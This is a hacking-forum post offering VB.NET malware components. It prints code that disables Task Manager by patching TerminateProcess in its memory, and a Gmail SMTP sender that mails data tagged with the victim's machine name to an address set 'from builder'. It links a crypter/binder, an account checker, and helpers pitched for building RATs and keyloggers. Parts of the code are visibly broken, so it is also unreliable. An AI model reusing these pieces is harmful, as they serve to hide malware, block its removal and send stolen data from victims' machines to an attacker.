[VB.NET] More Of My Sources...

[Vaqxine1]

I was told to put them in a seperate thread, so here they are.
They are all coded by me unless they say otherwise.



Disable Task Manager

First of all, a long code to disable the task manager:
Not my code here, not sure whose it is, I normally just loop to check for the taskmgr process...

    Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long

    Const TH32CS_SNAPPROCESS As Long = &H2
    Const PROCESS_ALL_ACCESS = &H1F0FFF

    Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, ByVal uProcess As PROCESSENTRY32) As Long
    Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, ByVal uProcess As PROCESSENTRY32) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Object, ByVal lpBuffer As Object, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long
    Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
    Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

    Public Structure PROCESSENTRY32
        Dim dwSize As Long
        Dim cntUsage As Long 
        Dim th32ProcessID As Long
        Dim th32DefaultHeapID As Long
        Dim th32ModuleID As Long
        Dim cntThreads As Long
        Dim th32ParentProcessID As Long
        Dim pcPriClassBase As Long
        Dim dwFlags As Long
        Dim szExeFile As String
    End Structure

    Public Function KillTASKMGR(ByVal Disable As Boolean) As Boolean
        If My.Computer.Info.OSFullName.Contains("Vista") Then  'Checks if OS is Vista, does not work if it is
            GoTo x
        End If
        Dim hSnapShot As Long, hAddress As Long, hProcess As Long, hWrite As Long
        Dim pe32 As PROCESSENTRY32
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 
        pe32.dwSize = Len(pe32) 
        Process32First(hSnapShot, pe32) 
        Do While Process32Next(hSnapShot, pe32) <> 0 
            If InStr(1, LCase(pe32.szExeFile * 1024), LCase("TASKMGR.EXE")) > 0 Then 
                hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, pe32.th32ProcessID) 
                If hProcess <> 0 Then
                    hAddress = GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "TerminateProcess")

                    If hAddress <> 0 Then
                        If Disable = True Then
                            hWrite = WriteProcessMemory(hProcess, hAddress, 195, 1, 0) 
                        Else
                            hWrite = WriteProcessMemory(hProcess, hAddress, 0, 1, 0) 
                        End If
                        If hWrite <> 0 Then
                            KillTASKMGR = True
                        End If
                        Call CloseHandle(hWrite)
                    End If
                    Call CloseHandle(hAddress) 
                End If
                Call CloseHandle(hProcess) 
            End If
        Loop
        Call CloseHandle(hSnapShot) 
x:
        KillTASKMGR = False
    End Function

'This will not work on Vista machines without a UAC Bypass

Send an Email with Gmail

Textbox1 = Email Message Body
Textbox2 = Your gmail address
Textbox3 = Your gmail password
Textbox4 = Gmail of the recipient

                Dim MyMailMessage As New MailMessage()
                MyMailMessage.From = New MailAddress(Textbox2.Text)                MyMailMessage.To.Add(Textbox4.Text) 'Address from builder
                MyMailMessage.Subject = "Email:  " & System.Environment.MachineName
                MyMailMessage.Body = TextBox1.Text
                Dim SMPT As New SmtpClient("smtp.gmail.com")
                SMPT.Port = 587
                SMPT.EnableSsl = True
                SMPT.Credentials = New System.Net.NetworkCredential(Textbox2.Text, Textbox3.Text)
                SMPT.Send(MyMailMessage)
                TextBox1.Text = ""
            Catch ex As Exception
            End Try

Enjoy...


SplashScreen Example

Not mine, credits are in the .rar though.
No idea why they didn't leave a small explanation about MS-VB8's SplashScreen feature, but hey...

RapidShare: 1-CLICK Web hosting - Easy Filehosting

Enjoy...


P2P Connection Example

Basically just shows how P2P connections are used (non-reverse), for a better understanding of programs like RAT's... Pretty simple to work out how to send commands to the server, once you have that you can start building a nice RAT, I'm sure :3

RapidShare: 1-CLICK Web hosting - Easy Filehosting

Enjoy...


Screenshot Taker

Specify the directory to save to, the name of the screenshot and the file type, then press Take Screenshot and the screenshot will be saved to the location you have chosen. Could be configured easily and placed into a keylogger or similar program, if you code that kind of stuff :3

RapidShare: 1-CLICK Web hosting - Easy Filehosting

Enjoy...


Executable Encrypter & Binder

Coded by my friend JapaBrz in C sharp, converted to VB.NET for VB8 users...
Encryption is pretty complicated to look at on first glance but if you look into it properly it gets a lot easier, as anything does. Also includes a file binder and some other features.

RapidShare: 1-CLICK Web hosting - Easy Filehosting

Enjoy...


XXX Password Checker

Not coded by me, can't remember who made it but I'm pretty certain there are credits inside. This only checks logins for sites that use the format shown, it won't check accounts for pages like Rapidshare, unfortunately. I do have a Rapidshare account checker but I don't want to share my source for a while yet...

RapidShare: 1-CLICK Web hosting - Easy Filehosting

Enjoy...
Last one for now.



Glad to share :3